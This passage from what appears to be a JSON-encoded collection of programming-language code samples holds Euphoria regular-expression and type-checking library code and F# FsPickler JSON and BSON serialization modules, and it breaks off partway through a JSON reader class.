{\n\t{ERROR_NOMATCH,\"ERROR_NOMATCH\"},\n\t{ERROR_NULL,\"ERROR_NULL\"},\n\t{ERROR_BADOPTION,\"ERROR_BADOPTION\"},\n\t{ERROR_BADMAGIC,\"ERROR_BADMAGIC\"},\n\t{ERROR_UNKNOWN_OPCODE,\"ERROR_UNKNOWN_OPCODE/NODE\"},\n\t{ERROR_UNKNOWN_NODE,\"ERROR_UNKNOWN_OPCODE/NODE\"},\n\t{ERROR_NOMEMORY,\"ERROR_NOMEMORY\"},\n\t{ERROR_NOSUBSTRING,\"ERROR_NOSUBSTRING\"},\n\t{ERROR_MATCHLIMIT,\"ERROR_MATCHLIMIT\"},\n\t{ERROR_CALLOUT,\"ERROR_CALLOUT\"},\n\t{ERROR_BADUTF8,\"ERROR_BADUTF8\"},\n\t{ERROR_BADUTF8_OFFSET,\"ERROR_BADUTF8_OFFSET\"},\n\t{ERROR_PARTIAL,\"ERROR_PARTIAL\"},\n\t{ERROR_BADPARTIAL,\"ERROR_BADPARTIAL\"},\n\t{ERROR_INTERNAL,\"ERROR_INTERNAL\"},\n\t{ERROR_BADCOUNT,\"ERROR_BADCOUNT\"},\n\t{ERROR_DFA_UITEM,\"ERROR_DFA_UITEM\"},\n\t{ERROR_DFA_UCOND,\"ERROR_DFA_UCOND\"},\n\t{ERROR_DFA_UMLIMIT,\"ERROR_DFA_UMLIMIT\"},\n\t{ERROR_DFA_WSSIZE,\"ERROR_DFA_WSSIZE\"},\n\t{ERROR_DFA_RECURSE,\"ERROR_DFA_RECURSE\"},\n\t{ERROR_RECURSIONLIMIT,\"ERROR_RECURSIONLIMIT\"},\n\t{ERROR_NULLWSLIMIT,\"ERROR_NULLWSLIMIT\"},\n\t{ERROR_BADNEWLINE,\"ERROR_BADNEWLINE\"}\n}\n\nconstant all_options = math:or_all({\n\tDEFAULT,\n\tCASELESS,\n\tMULTILINE,\n\tDOTALL,\n\tEXTENDED,\n\tANCHORED,\n\tDOLLAR_ENDONLY,\n\tEXTRA,\n\tNOTBOL,\n\tNOTEOL,\n\tUNGREEDY,\n\tNOTEMPTY,\n\tUTF8,\n\tNO_AUTO_CAPTURE,\n\tNO_UTF8_CHECK,\n\tAUTO_CALLOUT,\n\tPARTIAL,\n\tDFA_SHORTEST,\n\tDFA_RESTART,\n\tFIRSTLINE,\n\tDUPNAMES,\n\tNEWLINE_CR,\n\tNEWLINE_LF,\n\tNEWLINE_CRLF,\n\tNEWLINE_ANY,\n\tNEWLINE_ANYCRLF,\n\tBSR_ANYCRLF,\n\tBSR_UNICODE,\n\tSTRING_OFFSETS\n})\n\n--****\n-- === Create and Destroy\n\n--**\n-- Regular expression type\npublic type regex(object o)\n\treturn sequence(o)\nend type\n\n--**\n-- Regular expression option specification type\npublic type option_spec(object o)\n\tif atom(o) then\n\t\tif not integer(o) then\n\t\t\treturn 0\n\t\telse\n\t\t\tif (or_bits(o,all_options) != all_options) then\n\t\t\t\treturn 0\n\t\t\telse\n\t\t\t\treturn 1\n\t\t\tend if\n\t\tend if\n\telsif integer_array(o) then\n\t\treturn option_spec( math:or_all(o) )\n\telse\n\t\treturn 0\n\tend if\nend type\n\n--**\n-- converts an option spec to a string.\npublic function option_spec_to_string(option_spec o)\n\treturn flags:flags_to_string(o, option_names)\nend function\n\n--**\n-- converts an regex error to a string.\npublic function error_to_string(integer i)\n\tif i >= 0 or i < -23 then\n\t\treturn sprintf(\"%d\",{i})\n\telse\n\t\treturn search:vlookup(i, error_names, 1, 2, \"Unknown Error\")\n\tend if\nend function\n\n--**\n-- returns an allocated regular expression.\npublic function new(string pattern, option_spec options=DEFAULT)\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\n\t-- concatenation ensures we really get a new sequence, and don't just use the\n\t-- one passed in, which could be another regex previously created...this may\n\t-- be a bug with the refcount/delete_instance/regex code\n\treturn machine_func(M_PCRE_COMPILE, { pattern, options })\nend function\n\n--**\n-- returns a text based error message.\npublic function error_message(object re)\n\treturn machine_func(M_PCRE_ERROR_MESSAGE, { re })\nend function\n\n--****\n-- === Utility Routines\n\n--**\npublic function escape(string s)\n\treturn text:escape(s, \".\\\\+*?[^]$(){}=!<>|:-\")\nend function\n\n--**\n-- returns the number of capturing subpatterns (the ovector size) for a regex.\npublic function get_ovector_size(regex ex, integer maxsize=0)\n\tinteger m = machine_func(M_PCRE_GET_OVECTOR_SIZE, {ex})\n\tif (m > maxsize) then\n\t\treturn maxsize\n\tend if\n\n\treturn m+1\nend function\n\n--****\n-- === Match\n\n--**\n-- returns the first match of ##re## in ##haystack##. You can optionally start at the position\n-- ##from##.\npublic function find(regex re, string haystack, integer from=1, option_spec options=DEFAULT, integer size = get_ovector_size(re, 30))\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\n\tif size < 0 then\n\t\tsize = 0\n\tend if\n\n\treturn machine_func(M_PCRE_EXEC, { re, haystack, length(haystack), options, from, size })\nend function\n\n--**\n-- returns all matches of ##re## in ##haystack## optionally starting at the sequence position\n-- ##from##.\npublic function find_all(regex re, string haystack, integer from=1, option_spec options=DEFAULT, integer size = get_ovector_size(re, 30))\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\n\tif size < 0 then\n\t\tsize = 0\n\tend if\n\n\tobject result\n\tsequence results = {}\n\tatom pHaystack = machine:allocate_string(haystack)\n\twhile sequence(result) with entry do\n\t\tresults = append(results, result)\n\t\tfrom = math:max(result) + 1\n\n\t\tif from > length(haystack) then\n\t\t\texit\n\t\tend if\n\tentry\n\t\tresult = machine_func(M_PCRE_EXEC, { re, pHaystack, length(haystack), options, from, size })\n\tend while\n\n\tmachine:free(pHaystack)\n\n\treturn results\nend function\n\n--**\n-- determines if ##re## matches any portion of ##haystack##.\npublic function has_match(regex re, string haystack, integer from=1, option_spec options=DEFAULT)\n\treturn sequence(find(re, haystack, from, options))\nend function\n\n--**\n-- determines if the entire ##haystack## matches ##re##.\npublic function is_match(regex re, string haystack, integer from=1, option_spec options=DEFAULT)\n\tobject m = find(re, haystack, from, options)\n\n\tif sequence(m) and length(m) > 0 and m[1][1] = from and m[1][2] = length(haystack) then\n\t\treturn 1\n\tend if\n\n\treturn 0\nend function\n\n--**\n-- gets the matched text only.\npublic function matches(regex re, string haystack, integer from=1, option_spec options=DEFAULT)\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\tinteger str_offsets = and_bits(STRING_OFFSETS, options)\n\tobject match_data = find(re, haystack, from, and_bits(options, not_bits(STRING_OFFSETS)))\n\n\tif atom(match_data) then\n\t\treturn ERROR_NOMATCH\n\tend if\n\n\tfor i = 1 to length(match_data) do\n\t\tsequence tmp\n\t\tif match_data[i][1] = 0 then\n\t\t\ttmp = \"\"\n\t\telse\n\t\t\ttmp = haystack[match_data[i][1]..match_data[i][2]]\n\t\tend if\n\t\tif str_offsets then\n\t\t\tmatch_data[i] = { tmp, match_data[i][1], match_data[i][2] }\n\t\telse\n\t\t\tmatch_data[i] = tmp\n\t\tend if\n\tend for\n\n\treturn match_data\nend function\n\n--**\n-- gets the text of all matches.\npublic function all_matches(regex re, string haystack, integer from=1, option_spec options=DEFAULT)\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\tinteger str_offsets = and_bits(STRING_OFFSETS, options)\n\tobject match_data = find_all(re, haystack, from, and_bits(options, not_bits(STRING_OFFSETS)))\n\n\tif length(match_data) = 0 then\n\t\treturn ERROR_NOMATCH\n\tend if\n\n\tfor i = 1 to length(match_data) do\n\t\tfor j = 1 to length(match_data[i]) do\n\t\t\tsequence tmp\n\t\t\tinteger a,b\n\t\t\ta = match_data[i][j][1]\n\t\t\tif a = 0 then\n\t\t\t\ttmp = \"\"\n\t\t\telse\n\t\t\t\tb = match_data[i][j][2]\n\t\t\t\ttmp = haystack[a..b]\n\t\t\tend if\n\t\t\tif str_offsets then\n\t\t\t\tmatch_data[i][j] = { tmp, a, b }\n\t\t\telse\n\t\t\t\tmatch_data[i][j] = tmp\n\t\t\tend if\n\t\tend for\n\tend for\n\n\treturn match_data\nend function\n\n--****\n-- === Splitting\n\n--**\n-- splits a string based on a regex as a delimiter.\npublic function split(regex re, string text, integer from=1, option_spec options=DEFAULT)\n\treturn split_limit(re, text, 0, from, options)\nend function\n\npublic function split_limit(regex re, string text, integer limit=0, integer from=1, option_spec options=DEFAULT)\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\tsequence match_data = find_all(re, text, from, options), result\n\tinteger last = 1\n\n\tif limit = 0 or limit > length(match_data) then\n\t\tlimit = length(match_data)\n\tend if\n\n\tresult = repeat(0, limit)\n\n\tfor i = 1 to limit do\n\t\tinteger a\n\t\ta = match_data[i][1][1]\n\t\tif a = 0 then\n\t\t\tresult[i] = \"\"\n\t\telse\n\t\t\tresult[i] = text[last..a - 1]\n\t\t\tlast = match_data[i][1][2] + 1\n\t\tend if\n\tend for\n\n\tif last < length(text) then\n\t\tresult &= { text[last..$] }\n\tend if\n\n\treturn result\nend function\n\n--****\n-- === Replacement\n\n--**\n-- replaces all matches of a regex with the replacement text.\npublic function find_replace(regex ex, string text, sequence replacement, integer from=1,\n\t\t\toption_spec options=DEFAULT)\n\treturn find_replace_limit(ex, text, replacement, -1, from, options)\nend function\n\n--**\n-- replaces up to ##limit## matches of ##ex## in ##text## except when ##limit## is 0.  When\n-- ##limit## is 0, this routine replaces all of the matches.\npublic function find_replace_limit(regex ex, string text, sequence replacement,\n\t\t\tinteger limit, integer from=1, option_spec options=DEFAULT)\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\n    return machine_func(M_PCRE_REPLACE, { ex, text, replacement, options,\n\t\t\tfrom, limit })\nend function\n\n--**\n-- finds and then replaces text that is processed by a call back function.\npublic function find_replace_callback(regex ex, string text, integer rid, integer limit=0,\n                integer from=1, option_spec options=DEFAULT)\n\tif sequence(options) then\n\t\toptions = math:or_all(options)\n\tend if\n\tsequence match_data = find_all(ex, text, from, options), replace_data\n\n\tif limit = 0 or limit > length(match_data) then\n\t\tlimit = length(match_data)\n\tend if\n\treplace_data = repeat(0, limit)\n\n\tfor i = 1 to limit do\n\t\tsequence params = repeat(0, length(match_data[i]))\n\t\tfor j = 1 to length(match_data[i]) do\n\t\t\tif equal(match_data[i][j],{0,0}) then\n\t\t\t\tparams[j] = 0\n\t\t\telse\n\t\t\t\tparams[j] = text[match_data[i][j][1]..match_data[i][j][2]]\n\t\t\tend if\n\t\tend for\n\n\t\treplace_data[i] = call_func(rid, { params })\n\tend for\n\n\tfor i = limit to 1 by -1 do\n\t\ttext = replace(text, replace_data[i], match_data[i][1][1], match_data[i][1][2])\n\tend for\n\n\treturn text\nend function\n"
  },
  {
    "path": "samples/Euphoria/types.e",
    "content": "--****\n-- == Types - Extended\n\nnamespace types\n\npublic constant OBJ_UNASSIGNED = 0\npublic constant OBJ_INTEGER = 1\npublic constant OBJ_ATOM = 2\npublic constant OBJ_SEQUENCE = 3\n\n\npublic constant FALSE = (1=0)\npublic constant TRUE = (1=1)\n\n--****\n-- === Predefined Character Sets\n\npublic enum\n\tCS_FIRST = 0,\t\n\tCS_Consonant,\n\tCS_Vowel,\n\tCS_Hexadecimal,\n\tCS_Whitespace,\n\tCS_Punctuation,\n\tCS_Printable,\n\tCS_Displayable,\n\tCS_Lowercase,\n\tCS_Uppercase,\n\tCS_Alphanumeric,\n\tCS_Identifier,\n\tCS_Alphabetic,\n\tCS_ASCII,\n\tCS_Control,\n\tCS_Digit,\n\tCS_Graphic,\n\tCS_Bytes,\n\tCS_SpecWord,\n\tCS_Boolean,\n\tCS_LAST\n\n--****\n-- === Support Functions\n--\n\n--**\n-- determines whether one or more characters are in a given character set.\npublic function char_test(object test_data, sequence char_set)\n\tinteger lChr\n\n\tif integer(test_data) then\n\t\tif sequence(char_set[1]) then\n\t\t\tfor j = 1 to length(char_set) do\n\t\t\t\tif test_data >= char_set[j][1] and test_data <= char_set[j][2] then \n\t\t\t\t\treturn TRUE \n\t\t\t\tend if\n\t\t\tend for\n\t\t\treturn FALSE\n\t\telse\n\t\t\treturn find(test_data, char_set) > 0\n\t\tend if\n\telsif sequence(test_data) then\n\t\tif length(test_data) = 0 then \n\t\t\treturn FALSE \n\t\tend if\n\t\tfor i = 1 to length(test_data) label \"NXTCHR\" do\n\t\t\tif sequence(test_data[i]) then \n\t\t\t\treturn FALSE\n\t\t\tend if\n\t\t\tif not integer(test_data[i]) then \n\t\t\t\treturn FALSE\n\t\t\tend if\n\t\t\tlChr = test_data[i]\n\t\t\tif sequence(char_set[1]) then\n\t\t\t\tfor j = 1 to length(char_set) do\n\t\t\t\t\tif lChr >= char_set[j][1] and lChr <= char_set[j][2] then\n\t\t\t\t\t\tcontinue \"NXTCHR\" \n\t\t\t\t\tend if\n\t\t\t\tend for\n\t\t\telse\n\t\t\t\tif find(lChr, char_set) > 0 then\n\t\t\t\t\tcontinue \"NXTCHR\"\n\t\t\t\tend if\n\t\t\tend if\n\t\t\treturn FALSE\n\t\tend for\n\t\treturn TRUE\n\telse\n\t\treturn FALSE\n\tend if\nend function\n\nsequence Defined_Sets\n\n--**\n-- sets all the defined character sets to their default definitions.\npublic procedure set_default_charsets()\n\tDefined_Sets = repeat(0, CS_LAST - CS_FIRST - 1)\n\tDefined_Sets[CS_Alphabetic\t] = {{'a', 'z'}, {'A', 'Z'}}\n\tDefined_Sets[CS_Alphanumeric] = {{'0', '9'}, {'a', 'z'}, {'A', 'Z'}}\n\tDefined_Sets[CS_Identifier]   = {{'0', '9'}, {'a', 'z'}, {'A', 'Z'}, {'_', '_'}}\n\tDefined_Sets[CS_Uppercase \t] = {{'A', 'Z'}}\n\tDefined_Sets[CS_Lowercase \t] = {{'a', 'z'}}\n\tDefined_Sets[CS_Printable \t] = {{' ', '~'}}\n\tDefined_Sets[CS_Displayable ] = {{' ', '~'}, \"  \", \"\\t\\t\", \"\\n\\n\", \"\\r\\r\", {8,8}, {7,7} }\n\tDefined_Sets[CS_Whitespace \t] = \" \\t\\n\\r\" & 11 & 160\n\tDefined_Sets[CS_Consonant \t] = \"bcdfghjklmnpqrstvwxyzBCDFGHJKLMNPQRSTVWXYZ\"\n\tDefined_Sets[CS_Vowel \t\t] = \"aeiouAEIOU\"\n\tDefined_Sets[CS_Hexadecimal ] = {{'0', '9'}, {'A', 'F'},{'a', 'f'}}\n\tDefined_Sets[CS_Punctuation ] = {{' ', '/'}, {':', '?'}, {'[', '`'}, {'{', '~'}}\n\tDefined_Sets[CS_Control \t] = {{0, 31}, {127, 127}}\n\tDefined_Sets[CS_ASCII \t\t] = {{0, 127}}\n\tDefined_Sets[CS_Digit \t\t] = {{'0', '9'}}\n\tDefined_Sets[CS_Graphic \t] = {{'!', '~'}}\n\tDefined_Sets[CS_Bytes\t \t] = {{0, 255}}\n\tDefined_Sets[CS_SpecWord \t] = \"_\"\n\tDefined_Sets[CS_Boolean     ] = {TRUE,FALSE}\nend procedure\n\n--**\n-- gets the definition for each of the defined character sets.\npublic function get_charsets()\n\tsequence result_\n\n\tresult_ = {}\n\tfor i = CS_FIRST + 1 to CS_LAST - 1 do\n\t\tresult_ = append(result_, {i, Defined_Sets[i]} )\n\tend for\n\n\treturn result_\nend function\n\n--**\n-- sets the definition for one or more defined character sets.\npublic procedure set_charsets(sequence charset_list)\n\tfor i = 1 to length(charset_list) do\n\t\tif sequence(charset_list[i]) and length(charset_list[i]) = 2 then\n\t\t\tif integer(charset_list[i][1]) and charset_list[i][1] > CS_FIRST and charset_list[i][1] < CS_LAST then\n\t\t\t\tDefined_Sets[charset_list[i][1]] = charset_list[i][2]\n\t\t\tend if\n\t\tend if\n\tend for\nend procedure\n\n--****\n-- === Types\n\n--**\n-- test for an integer boolean.\npublic type boolean(object test_data)\n\t-- A boolean is a value that is either zero or one.\n\treturn find(test_data,{1,0}) != 0\nend type\n\n--**\n-- tests elements for boolean.\npublic type t_boolean(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Boolean])\nend type\n\n--**\n-- tests for  alphanumeric character.\npublic type t_alnum(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Alphanumeric])\nend type\n\n--**\n-- tests string if it is an valid identifier.\npublic type t_identifier(object test_data)\n\t-- Test to make sure the first character is not a number\n\tif t_digit(test_data) then\n\t\treturn 0\n\telsif sequence(test_data) and length(test_data) > 0 and t_digit(test_data[1]) then\n\t\treturn 0\n\tend if\n\n\treturn char_test(test_data, Defined_Sets[CS_Identifier])\nend type\n\n--**\n-- tests for alphabetic characters.\npublic type t_alpha(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Alphabetic])\nend type\n\n--**\n-- tests for ASCII characters.\npublic type t_ascii(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_ASCII])\nend type\n\n--**\n-- tests for control characters.\npublic type t_cntrl(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Control])\nend type\n\n--**\n-- tests for digits.\npublic type t_digit(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Digit])\nend type\n\n--**\n-- test for glyphs (printable) characters.\npublic type t_graph(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Graphic])\nend type\n\n--**\n-- tests for a special word character.\npublic type t_specword(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_SpecWord])\nend type\n\n--**\n-- tests for bytes.\npublic type t_bytearray(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Bytes])\nend type\n\n--**\n-- tests for lowercase characters.\npublic type t_lower(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Lowercase])\nend type\n\n--**\n-- tests for ASCII glyph characters.\npublic type t_print(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Printable])\nend type\n\n--**\n-- tests for printable characters.\npublic type t_display(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Displayable])\nend type\n\n--**\n-- tests for punctuation characters.\npublic type t_punct(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Punctuation])\nend type\n\n--**\n-- tests for whitespace characters.\npublic type t_space(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Whitespace])\nend type\n\n--**\n-- tests for uppercase characters.\npublic type t_upper(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Uppercase])\nend type\n\n--**\n-- tests for hexadecimal characters.\npublic type t_xdigit(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Hexadecimal])\nend type\n\n--**\n-- tests for vowel characters.\npublic type t_vowel(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Vowel])\nend type\n\n--**\n-- tests for consonant characters.\npublic type t_consonant(object test_data)\n\treturn char_test(test_data, Defined_Sets[CS_Consonant])\nend type\n\nset_default_charsets()\n\n--**\n-- tests for integer elements.\npublic type integer_array( object x )\n\tif not sequence(x) then\n\t\treturn 0\n\tend if\n\n\tfor i = 1 to length(x) do\n\t\tif not integer(x[i]) then\n\t\t\treturn 0\n\t\tend if\n\tend for\n\treturn 1\nend type\n\n--**\n-- tests for text characters.\npublic type t_text( object x )\n\tif not sequence(x) then\n\t\treturn 0\n\tend if\n\n\tfor i = 1 to length(x) do\n\t\tif not integer(x[i]) then\n\t\t\treturn 0\n\t\tend if\n\t\tif x[i] < 0 then\n\t\t\treturn 0\n\t\tend if\n\tend for\n\treturn 1\nend type\n\n--**\n-- tests for atom elements.\npublic type number_array( object x )\n\tif not sequence(x) then\n\t\treturn 0\n\tend if\n\n\tfor i = 1 to length(x) do\n\t\tif not atom(x[i]) then\n\t\t\treturn 0\n\t\tend if\n\tend for\n\treturn 1\nend type\n\n--**\n-- tests for sequence with possible nested sequences.\npublic type sequence_array( object x )\n\tif not sequence(x) then\n\t\treturn 0\n\tend if\n\n\tfor i = 1 to length(x) do\n\t\tif not sequence(x[i]) then\n\t\t\treturn 0\n\t\tend if\n\tend for\n\treturn 1\nend type\n\n--**\n-- tests for ASCII elements.\npublic type ascii_string( object x )\n\tif not sequence(x) then\n\t\treturn 0\n\tend if\n\n\tfor i = 1 to length(x) do\n\t\tif not integer(x[i]) then\n\t\t\treturn 0\n\t\tend if\n\t\tif x[i] < 0 then\n\t\t\treturn 0\n\t\tend if\n\t\tif x[i] > 127 then\n\t\t\treturn 0\n\t\tend if\n\tend for\n\treturn 1\nend type\n\n--**\n-- tests for a string sequence.\npublic type string( object x )\n\tif not sequence(x) then\n\t\treturn 0\n\tend if\n\n\tfor i = 1 to length(x) do\n\t\tif not integer(x[i]) then\n\t\t\treturn 0\n\t\tend if\n\t\tif x[i] < 0 then\n\t\t\treturn 0\n\t\tend if\n\t\tif x[i] > 255 then\n\t\t\treturn 0\n\t\tend if\n\tend for\n\treturn 1\nend type\n\n--**\n-- tests for a string sequence (that has no null character).\npublic type cstring( object x )\n\tif not sequence(x) then\n\t\treturn 0\n\tend if\n\n\tfor i = 1 to length(x) do\n\t\tif not integer(x[i]) then\n\t\t\treturn 0\n\t\tend if\n\t\tif x[i] <= 0 then\n\t\t\treturn 0\n\t\tend if\n\t\tif x[i] > 255 then\n\t\t\treturn 0\n\t\tend if\n\tend for\n\treturn 1\nend type\n\npublic constant INVALID_ROUTINE_ID = routine_id(\"#\")\npublic constant NO_ROUTINE_ID = -99999\n\n-- Maximum and minimum values for Euphoria 31-bit integers (as implemented by 32-bit Euphoria)\nconstant\n\tMAXSINT31 = power(2,30)-1,\n\tMINSINT31 = -power(2,30)\n\n--** \n-- tests for Euphoria integer.\npublic type t_integer32( object o )\n\tifdef EU32 then\n\t\treturn integer( o )\n\telsedef\n\t\tif integer( o ) and o <= MAXSINT31 and o >= MINSINT31 then\n\t\t\treturn 1\n\t\telse\n\t\t\treturn 0\n\t\tend if\n\tend ifdef\nend type\n"
  },
  {
    "path": "samples/F#/Combinators.fs",
    "content": "﻿namespace Nessos.FsPickler.Combinators\n\n    open Nessos.FsPickler\n    open Nessos.FsPickler.Json\n\n    /// Json pickling methods\n    [<RequireQualifiedAccess>]\n    module Json =\n\n        let private jsonSerializer = lazy(FsPickler.CreateJson(omitHeader = true))\n\n        /// <summary>\n        ///     Pickles a value to Json.\n        /// </summary>\n        /// <param name=\"pickler\">utilized pickler.</param>\n        /// <param name=\"value\">input value.</param>\n        let pickle (pickler : Pickler<'T>) (value : 'T) : string =\n            jsonSerializer.Value.PickleToString (pickler, value)\n\n        /// <summary>\n        ///     Unpickles a value from Json.\n        /// </summary>\n        /// <param name=\"pickler\">utilized pickler.</param>\n        /// <param name=\"pickle\">input pickle.</param>\n        let unpickle (pickler : Pickler<'T>) (pickle : string) : 'T =\n            jsonSerializer.Value.UnPickleOfString (pickler, pickle)\n\n\n    /// Bson pickling methods\n    [<RequireQualifiedAccess>]\n    module Bson =\n\n        let private bsonPickler = lazy(FsPickler.CreateBson())\n\n        /// <summary>\n        ///     Pickles a value to Bson.\n        /// </summary>\n        /// <param name=\"pickler\">utilized pickler.</param>\n        /// <param name=\"value\">input value.</param>\n        let pickle (pickler : Pickler<'T>) (value : 'T) : byte [] =\n            bsonPickler.Value.Pickle (pickler, value)\n\n        /// <summary>\n        ///     Unpickles a value from bson.\n        /// </summary>\n        /// <param name=\"pickler\">utilized pickler.</param>\n        /// <param name=\"pickle\">input pickle.</param>\n        let unpickle (pickler : Pickler<'T>) (pickle : byte []) : 'T =\n            bsonPickler.Value.UnPickle (pickler, pickle)"
  },
  {
    "path": "samples/F#/JsonFormat.fs",
    "content": "﻿namespace Nessos.FsPickler.Json\n\n    open System\n    open System.IO\n    open System.Text\n\n    open Newtonsoft.Json\n\n    open Nessos.FsPickler\n\n    /// <summary>\n    ///     Factory methods for the Json serialization format.\n    /// </summary>\n    type JsonPickleFormatProvider internal (indent, omitHeader) as self =\n\n        let isCustomSeq isTopLevelSequence = \n            isTopLevelSequence && self.OmitHeader && self.UseCustomTopLevelSequenceSeparator\n\n        let mutable sequenceSeparator = \" \"\n\n        member val Indent = indent with get,set\n        member val OmitHeader = omitHeader with get,set\n        member val UseCustomTopLevelSequenceSeparator = false with get,set\n\n        member __.SequenceSeparator\n            with get () = sequenceSeparator\n            and set sep =\n                if sep <> null && String.IsNullOrWhiteSpace sep then\n                    sequenceSeparator <- sep\n                else\n                    invalidArg \"SequenceSeparator\" \"should be non-null whitespace.\"\n\n        interface ITextPickleFormatProvider with\n            member __.Name = \"Json\"\n\n            // see discussion : https://github.com/nessos/FsPickler/issues/17\n            member __.DefaultEncoding = new UTF8Encoding(false) :> Encoding\n\n            member __.CreateWriter (stream, encoding, isTopLevelSequence, leaveOpen) =\n#if NET40\n                if leaveOpen then raise <| new NotSupportedException(\"'leaveOpen' not supported in .NET 40.\")\n                let sw = new StreamWriter(stream, encoding)\n#else\n                let sw = new StreamWriter(stream, encoding, 1024, leaveOpen)\n#endif\n                let jw = new JsonTextWriter(sw)\n                new JsonPickleWriter(jw, __.OmitHeader, __.Indent, isCustomSeq isTopLevelSequence, sequenceSeparator, leaveOpen) :> _\n\n            member __.CreateReader (stream, encoding, isTopLevelSequence, leaveOpen) =\n#if NET40\n                if leaveOpen then raise <| new NotSupportedException(\"'leaveOpen' not supported in .NET 40.\")\n                let sr = new StreamReader(stream, encoding)\n#else\n                let sr = new StreamReader(stream, encoding, true, 1024, leaveOpen)\n#endif\n                let jr = new JsonTextReader(sr)\n                new JsonPickleReader(jr, __.OmitHeader, isCustomSeq isTopLevelSequence, leaveOpen) :> _\n\n            member __.CreateWriter (textWriter, isTopLevelSequence, leaveOpen) =\n                let jw = new JsonTextWriter(textWriter)\n                new JsonPickleWriter(jw, __.OmitHeader, __.Indent, isCustomSeq isTopLevelSequence, sequenceSeparator, leaveOpen) :> _\n\n            member __.CreateReader (textReader, isTopLevelSequence, leaveOpen) =\n                let jr = new JsonTextReader(textReader)\n                new JsonPickleReader(jr, __.OmitHeader, isCustomSeq isTopLevelSequence, leaveOpen) :> _"
  },
  {
    "path": "samples/F#/JsonReader.fs",
    "content": "﻿namespace Nessos.FsPickler.Json\n\n    open System\n    open System.Collections.Generic\n    open System.Globalization\n    open System.IO\n    open System.Numerics\n    open System.Text\n\n    open Newtonsoft.Json\n\n    open Nessos.FsPickler\n\n    /// <summary>\n    ///     Json format deserializer\n    /// </summary>\n    type internal JsonPickleReader (jsonReader : JsonReader, omitHeader, isTopLevelSequence, leaveOpen) =\n\n        do\n            jsonReader.CloseInput <- not leaveOpen\n            jsonReader.SupportMultipleContent <- isTopLevelSequence\n\n        let isBsonReader = match jsonReader with :? Bson.BsonReader -> true | _ -> false\n\n        let mutable depth = 0\n        let arrayStack = new Stack<int> ()\n        do arrayStack.Push Int32.MinValue\n\n        // do not write tag if omitting header or array element\n        let omitTag () = (omitHeader && depth = 0) || arrayStack.Peek() = depth - 1\n\n        interface IPickleFormatReader with\n            \n            member __.BeginReadRoot (tag : string) =\n                do jsonReader.Read() |> ignore\n                    \n                if omitHeader then () else\n\n                if jsonReader.TokenType <> JsonToken.StartObject then raise <| new FormatException(\"invalid json root object.\")\n                else\n                    do jsonReader.MoveNext()\n                    let version = jsonReader.ReadPrimitiveAs<string> false \"FsPickler\"\n                    if version <> jsonFormatVersion then\n                        let v = Version(version)\n                        raise <| new FormatException(sprintf \"Invalid FsPickler format version %O.\" version)\n\n                    let sTag = jsonReader.ReadPrimitiveAs<string> false \"type\"\n                    if tag <> sTag then\n                        raise <| new InvalidPickleTypeException(tag, sTag)\n\n            member __.EndReadRoot () = \n                if not omitHeader then jsonReader.Read() |> ignore\n\n            member __.BeginReadObject (tag : string) =\n                \n                if not <| omitTag () then\n                    jsonReader.ReadProperty tag\n                    jsonReader.MoveNext ()\n\n                if isTopLevelSequence && depth = 0 then\n                    arrayStack.Push depth\n                    depth <- depth + 1\n                    ObjectFlags.IsSequenceHeader\n\n                else\n                    match jsonReader.TokenType with\n                    | JsonToken.Null -> ObjectFlags.IsNull\n                    | JsonToken.StartArray ->\n                        jsonReader.MoveNext()\n                        arrayStack.Push depth\n                        depth <- depth + 1\n                        ObjectFlags.IsSequenceHeader\n\n                    | JsonToken.StartObject ->\n                        do jsonReader.MoveNext()\n                        depth <- depth + 1\n\n                        if jsonReader.ValueAs<string> () = \"_flags\" then\n                            jsonReader.MoveNext()\n                            let csvFlags = jsonReader.ValueAs<string>()\n                            jsonReader.MoveNext()\n                            parseFlagCsv csvFlags\n                        else\n                            ObjectFlags.None\n\n                    | token -> raise <| new FormatException(sprintf \"expected start of Json object but was '%O'.\" token)\n\n\n            member __.EndReadObject () =\n                if isTopLevelSequence && depth = 1 then\n                    arrayStack.Pop () |> ignore\n                    depth <- depth - 1\n                    jsonReader.Read() |> ignore\n                else\n                    match jsonReader.TokenType with\n                    | JsonToken.Null -> ()\n                    | JsonToken.EndObject -> depth <- depth - 1\n                    | JsonToken.EndArray ->\n                        arrayStack.Pop() |> ignore\n                        depth <- depth - 1\n\n                    | token -> raise <| new FormatException(sprintf \"expected end of Json object but was '%O'.\" token)\n\n                    if omitHeader && depth = 0 then ()\n                    else jsonReader.Read() |> ignore\n\n            member __.SerializeUnionCaseNames = true\n\n            member __.PreferLengthPrefixInSequences = false\n            member __.ReadNextSequenceElement () = \n                if isTopLevelSequence && depth = 1 then\n                    jsonReader.TokenType <> JsonToken.None\n                else\n                    jsonReader.TokenType <> JsonToken.EndArray\n\n            member __.ReadCachedObjectId () = jsonReader.ReadPrimitiveAs<int64> false \"id\"\n\n            member __.ReadBoolean tag = jsonReader.ReadPrimitiveAs<bool> (omitTag ()) tag\n            member __.ReadByte tag = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag |> byte\n            member __.ReadSByte tag = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag |> sbyte\n\n            member __.ReadInt16 tag = 